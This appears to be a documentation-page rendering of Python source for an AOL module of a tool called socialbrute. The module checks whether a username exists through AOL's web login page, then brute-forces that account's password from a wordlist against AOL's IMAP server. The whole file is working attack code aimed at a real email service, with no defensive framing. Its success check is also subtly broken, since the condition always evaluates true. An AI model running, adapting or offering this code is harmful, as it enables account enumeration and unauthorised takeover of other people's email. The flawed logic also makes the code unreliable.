Source code for socialbrute.modules.aol

import time
import imaplib


[docs]class Aol: def __init__(self, browser): self.browser = browser
[docs] def set_config(self, username, wordlist, delay): self.username = username self.name = '' self.host = 'imap.aol.com' self.port = 993 self.wordlist = wordlist self.delay = delay
[docs] def check_user(self): self.browser.driver.get('https://login.aol.com/') try: input = self.browser.wait_until_element_exists('id', 'login-username') input.clear() input.send_keys(self.username) self.browser.driver.find_element_by_id('login-signin').click() self.browser.implicitly_wait(3) if 'Sorry, we don't recognize this email.' in self.browser.driver.page_source: return False elif 'This account has been deactivated' in self.browser.driver.page_source: return False else: self.name = 'Not found' return True except BaseException: return False
[docs] def crack(self): passwords = [] found = '' with open(self.wordlist, 'r') as f: for line in f: passwords.append(line.strip('\n')) IMAP4 = imaplib.IMAP4_SSL(self.host, self.port) for password in passwords: try: session = IMAP4.login(self.username, password) if (session == 'OK' or 'AUTHENTICATE completed'): found = password break except IMAP4.error: pass time.sleep(self.delay) IMAP4.logout() return found